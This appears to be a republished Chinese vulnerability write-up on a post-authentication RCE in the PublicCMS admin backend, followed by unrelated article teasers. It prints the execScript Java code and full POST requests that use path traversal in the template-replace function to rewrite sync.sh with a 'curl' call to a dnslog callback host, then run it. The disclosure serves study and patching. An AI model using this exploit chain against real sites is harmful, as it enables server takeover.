PublicCMS 后台模块 站点执行脚本RCE漏洞

news2024/11/14 19:36:25

PublicCMS是采用2023年主流技术开发的开源JAVACMS系统。由天津黑核科技有限公司开发,架构科学,轻松支撑上千万数据、千万PV;支持可视化编辑,多维扩展,全文搜索,全站静态化,SSI,动态页面局部静态化,URL规则完全自定义等为您快速建站,建设大规模站点提供强大驱动,也是企业级项目产品原型的良好选择。

项目地址

GitHub - sanluan/PublicCMS: More than 2 million lines of code modification continuously iterated for 7 years to modernize java cms, easily supporting tens of millions of data, tens of millions of PV; Support static, server side includes; Currently has 0.0005% of the world's users (w3techs provided data), language support in Chinese, Japanese, EnglishMore than 2 million lines of code modification continuously iterated for 7 years to modernize java cms, easily supporting tens of millions of data, tens of millions of PV; Support static, server side includes; Currently has 0.0005% of the world's users (w3techs provided data), language support in Chinese, Japanese, English - sanluan/PublicCMSicon-default.png?t=N7T8https://github.com/sanluan/PublicCMS/tree/master

漏洞分析

后台有一个执行脚本的功能

分析下后台代码

/**
 * @author Qicz
 *
 * @param site
 * @param admin
 * @param command
 * @param parameters
 * @param request
 * @param model
 * @return
 * @since 2021/6/4 13:59
 */
@RequestMapping(value = "execScript")
@Csrf
public String execScript(@RequestAttribute SysSite site, @SessionAttribute SysUser admin, String command, String[] parameters,
        HttpServletRequest request, ModelMap model) {
    if (ControllerUtils.errorCustom("noright", !siteComponent.isMaster(site.getId()), model)) {
        return CommonConstants.TEMPLATE_ERROR;
    }
    String log = null;
    try {
        log = scriptComponent.execute(command, parameters, 1);
    } catch (IOException | InterruptedException e) {
        log = e.getMessage();
    }
    logOperateService.save(new LogOperate(site.getId(), admin.getId(), admin.getDeptId(), LogLoginService.CHANNEL_WEB_MANAGER,
            "execscript.site", RequestUtils.getIpAddress(request), CommonUtils.getDate(), log));
    return CommonConstants.TEMPLATE_DONE;
}

关注两个参数 command与parameters,正常操作参数会被赋予 &command=sync.sh&parameters=1

跟入execute方法

public class ScriptComponent {
    private static final Pattern PARAMETER_PATTERN = Pattern.compile("^[a-zA-Z0-9][a-zA-Z0-9_\\-\\.]{1,191}$");
    private static final String[] COMMANDS = { "sync.bat", "sync.sh", "backupdb.bat", "backupdb.sh" };

    public String execute(String command, String[] parameters, long timeoutHours)
            throws FileNotFoundException, IOException, InterruptedException {
        if (CommonUtils.notEmpty(command) && ArrayUtils.contains(COMMANDS, command.toLowerCase())) {
            String dir = CommonConstants.CMS_FILEPATH + "/script";
            String[] cmdarray;
            if ("backupdb.bat".equalsIgnoreCase(command) || "backupdb.sh".equalsIgnoreCase(command)) {
                String databaseConfiFile = CommonConstants.CMS_FILEPATH + CmsDataSource.DATABASE_CONFIG_FILENAME;
                Properties dbconfigProperties = CmsDataSource.loadDatabaseConfig(databaseConfiFile);
                String userName = dbconfigProperties.getProperty("jdbc.username");
                String database = dbconfigProperties.getProperty("database", "publiccms");
                String password = dbconfigProperties.getProperty("jdbc.password");
                String encryptPassword = dbconfigProperties.getProperty("jdbc.encryptPassword");
                if (null != encryptPassword) {
                    password = VerificationUtils.decrypt(VerificationUtils.base64Decode(encryptPassword),
                            CommonConstants.ENCRYPT_KEY);
                }
                cmdarray = new String[] { database, userName, password };
            } else {
                cmdarray = new String[parameters.length];
                if (null != parameters) {
                    int i = 0;
                    for (String c : parameters) {
                        if (!PARAMETER_PATTERN.matcher(c).matches()) {
                            cmdarray[i] = "";
                        } else {
                            cmdarray[i] = c;
                        }
                        i++;
                    }
                }
            }
            String filepath = new StringBuilder(dir).append("/").append(command).toString();
            File script = new File(filepath);
            if (!script.exists()) {
                try (InputStream inputStream = getClass()
                        .getResourceAsStream(new StringBuilder("/script/").append(command).toString())) {
                    FileUtils.copyInputStreamToFile(inputStream, script);
                }
            }
            if (command.toLowerCase().endsWith(".sh")) {
                cmdarray = ArrayUtils.insert(0, cmdarray, filepath);
                cmdarray = ArrayUtils.insert(0, cmdarray, "sh");
            } else {
                cmdarray = ArrayUtils.insert(0, cmdarray, filepath);
            }
            Process ps = Runtime.getRuntime().exec(cmdarray, null, new File(dir));
            ps.waitFor(timeoutHours, TimeUnit.HOURS);
            BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            return sb.toString();
        }
        return command + " not exits";
    }

}

函数经过一系列调用处理,触发了一个Runtime.getRuntime().exec 这是相当危险的方法了

`Runtime.getRuntime().exec(cmdarray, null, new File(dir))` 这行代码的作用是在指定目录下执行构建好的命令和参数,并获取执行结果。这样可以实现动态执行命令的功能,灵活地处理不同命令的执行需求。

这样看的话,命令执行比较有限制,因为我们只能控制脚本名词 和参数

找找后台的其他共能点

这里似乎有全局替换的功能

尝试了一下的确可以替换

那么能否替换我们的脚本内容呢?

分析下请求包

POST /admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1
Host: 192.168.116.128:8080
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.116.128:8080
Referer: http://192.168.116.128:8080/admin/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.2049876865.1708327587; _ga_ZCZHJPMEG7=GS1.1.1709204007.4.0.1709204007.0.0.0; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1709286898; wp-settings-time-1=1709712213; __test=1; PHPSESSID=24f91b2fbd6bac87f2d9367daf080f5d; PUBLICCMS_ANALYTICS_ID=3a91f834-b96d-451b-a953-6739bcff6ca0; PUBLICCMS_ADMIN=1_27f0e838-371b-4207-b689-7078a11597be; JSESSIONID=4A1EE8F4304421DFE63BE59ABDB77B25
Connection: close
​
_csrf=27f0e838-371b-4207-b689-7078a11597be&word=shtest&replace=sh&replaceList%5B0%5D.path=%2Findex_zh_CN.html&replaceList%5B0%5D.indexs=0&replaceList%5B0%5D.indexs=1&replaceList%5B1%5D.path=%2Findex.html&replaceList%5B1%5D.indexs=0

word= 这个应该的原有 replace= 是要替换的 path= 这个非常可能是要替换的文件路径

分析下index.html 和 sync.sh 的文件位置关系

按照现在的逻辑 index.html 替换成../../script/sync.sh

这里大可不必分析源码,大胆测一下,将"stty -echo" 替换成我们的命令"curl 5s6w5i.dnslog.cn"

漏洞复现
POST /admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1
Host: 192.168.116.128:8080
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.116.128:8080
Referer: http://192.168.116.128:8080/admin/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.2049876865.1708327587; _ga_ZCZHJPMEG7=GS1.1.1709204007.4.0.1709204007.0.0.0; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1709286898; wp-settings-time-1=1709712213; __test=1; PHPSESSID=24f91b2fbd6bac87f2d9367daf080f5d; PUBLICCMS_ANALYTICS_ID=3a91f834-b96d-451b-a953-6739bcff6ca0; PUBLICCMS_ADMIN=1_27f0e838-371b-4207-b689-7078a11597be; JSESSIONID=4A1EE8F4304421DFE63BE59ABDB77B25
Connection: close
​
_csrf=27f0e838-371b-4207-b689-7078a11597be&word=stty%20-echo&replace=curl%205s6w5i.dnslog.cn&replaceList%5B0%5D.path=..%2F..%2Fscript%2Fsync.sh&replaceList%5B0%5D.indexs=0&replaceList%5B0%5D.indexs=1&replaceList%5B1%5D.path=..%2F..%2Fscript%2Fsync.sh&replaceList%5B1%5D.indexs=0

前端响应 成功。

我们去执行脚本,参数随便设一个1

dnslog回显了 漏洞利用成功

后续修复

多增加了校验

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1536557.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于Spring Boot的拍卖管理系统设计与实现

摘 要 随着社会的发展,系统的管理形势越来越严峻。越来越多的用户利用互联网获得信息,但各种信息鱼龙混杂,信息真假难以辨别。为了方便用户更好的获得信息,因此,设计一种安全高效的拍卖管理系统极为重要。 为设计一个…

【Linux】Linux工具学习之gcc/g++

🔥博客主页: 小羊失眠啦. 🎥系列专栏:《C语言》 《数据结构》 《C》 《Linux》 《Cpolar》 ❤️感谢大家点赞👍收藏⭐评论✍️ 接上文,我们已经学习了 Linux 中的编辑器 vim 的相关使用方法,现在…

就业班 第二阶段 2401--3.19 day2 DDL DML DQL 多表查询

在mysql库里的语句 \G 竖着排列 ; \g 横着排列 数据库用户组成 双单引号单都行 -- sql的注释 创建mysql用户:(兼容5.7 8.0 ) create user root% identified by Qwer123..; grant all on *.* to root%; flush privileges; mysql 5.7 grant …

使用easyYapi生成文档

easyYapi生成文档 背景1.安装配置1.1 介绍1.2 安装1.3 配置1.3.1 Export Postman1.3.2 Export Yapi1.3.3 Export Markdown1.3.4 Export Api1.3.6 常见问题补充 2. java注释规范2.1 接口注释规范2.2 出入参注释规范 3. 特定化支持3.1 必填校验3.2 忽略导出3.3 返回不一致3.4 设置…

【单调队列】第十四届蓝桥杯省赛C++ C组 Java C组/研究生组 Python A组《子矩阵》(C++)

【题目描述】 给定一个 nm (n 行 m 列)的矩阵。 设一个矩阵的价值为其所有数中的最大值和最小值的乘积。 求给定矩阵的所有大小为 ab (a 行 b 列)的子矩阵的价值的和。 答案可能很大,你只需要输出答案对 998244353…

羽毛球移动步法训练

文章目录 简介训练量01 小颠步02 左右并步03 交叉步04 前后并步05 高抬腿06 高抬腿转髋07 左右移动跳08 并步跳09 前后小密步10 弓箭步跳11 开合跳参考文献 简介 本文参考:陈金羽毛球移动专项步法训练(BV1cS4y1V7xA)和颜叨叨的移动专项步法跟…

数据表练习

思维导图 面试题答问1、IO多路复用的引入目的和原理 目的:在有操作系统时,可以用多线程和进程完成任务并发执行,没有操作系统的情况下可以使用IO多路复用技术来进行任务并发。 原理:将多个阻塞任务的文件描述符统一放到一个检查容…

Qt 容器类控件

Group Box 使用 QGroupBox 实现一个带有标题的分组框可以把其他的控件放到里面作为一组,这样看起来能更好看一点. 核心属性 属性说明title分组框的标题alignment分组框内部内容的对齐方式flat是否是 “扁平” 模式checkable是否可选择. 设为 true,则在…

Golang基础知识(笔记迁移)

golang 变量作用域 局部作用域:代码块、函数内的全局作用域:顶层作用域,代码块外的就是全局,如果变量名大写,则改变量整个程序都可以使用。 类型断言 golang的类型断言在变量后加上.(type),如果类型断言…

【Android】系统启动流程分析 —— init 进程启动过程

本文基于 Android 14.0.0_r2 的系统启动流程分析。 一、概述 init 进程属于一个守护进程,准确的说,它是 Linux 系统中用户控制的第一个进程,它的进程号为 1,它的生命周期贯穿整个 Linux 内核运行的始终。Android 中所有其它的进程…

python5:基于多进程的并发编程、基于协程的并发编程的学习笔记

进程 为什么要使用多进程?——GIL的存在,多线程实际不是并发执行 将任务分为两类:IO密集型(多线程)CPU密集型(多进程) 多进程的基本用法 concurrent.futures.process.ProcessPoolExecutor#进…

移除和替换任何内容:AI 驱动的图像修复工具 | 开源日报 No.204

Sanster/IOPaint Stars: 15.1k License: Apache-2.0 IOPaint 是一款由 SOTA AI 模型驱动的图像修复工具。 该项目解决了从图片中移除任何不需要的对象、瑕疵或人物,以及擦除和替换图片上任何内容(由稳定扩散技术支持)的问题。 完全免费且开…

ETH Denver 2024 精彩回顾|波卡,远不止一个区块链

ETH Denver 2024 于 2 月 23 日至 3 月 3 日在美国丹佛举行,该活动由 SporkDAO 主办(SporkDAO 是一个来自美国科罗拉多州的 Web3 公益开发者组织,其前身或者说起源就是 ETHDenver,后随着组织发展逐渐转变为 DAO 开展了研究、投资等…

YOLO-v8-seg实例分割使用

最近需要实例分割完成一些任务,一直用的SAM(segment anything)速度慢,找一个轻量分割模型。 1. YOLO-v8-seg使用 git clone https://github.com/ultralytics/ultralytics.git cd ultralytics vim run.py from ultralytics import YOLO# L…

JS加密解密之字符编码知识

在前端开发中,字符编码是一个至关重要的概念,特别是在数据传输、加密和解密等方面。JavaScript作为一种常用的脚本语言,在处理字符编码时也有其独特之处。本文将详细介绍JavaScript中的字符编码知识,包括字符编码的分类和相关案例…

【C++】1600. 请假时间计算

问题:1600. 请假时间计算 类型:基本运算、整数运算 题目描述: 假设小明的妈妈向公司请了 n 天的假,那么请问小明的妈妈总共请了多少小时的假,多少分钟的假?(提示: 1 天有 24 小时&…

2_27. 移除元素

2_27. 移除元素 难度: 简单 提示: 给你一个数组 nums 和一个值 val,你需要 原地 移除所有数值等于 val 的元素,并返回移除后数组的新长度。 不要使用额外的数组空间,你必须仅使用 O(1) 额外空间并 原地 修改输入数组。 元素的顺序可以改变…

知识管理入门:轻松选择合适的知识管理软件

你是不是经常觉得自己的大脑像个杂乱的仓库,各种信息、知识和想法在里面乱窜,找不到头绪?别担心,知识管理软件来帮你解决这个问题啦!今天,我们就来聊聊知识管理软件这个神奇的工具,新手也能轻松…

python基础——语句

一、条件语句 就是 if else 语句 ! 代表不等于 代表等于if 关键字,判断语句,有“如果”的意思,后面跟上判断语句else 常和“if” 连用,有“否则”的意思,后面直接跟上冒号 …

华为配置WLAN 802.1X认证实验

配置WLAN 802.1X认证示例 组网图形 图1 配置802.1X认证组网图 业务需求组网需求数据规划配置思路配置注意事项操作步骤 业务需求 用户接入WLAN网络,使用802.1X客户端进行认证,输入正确的用户名和密码后可以无线上网。且在覆盖区域内移动发生漫游时&…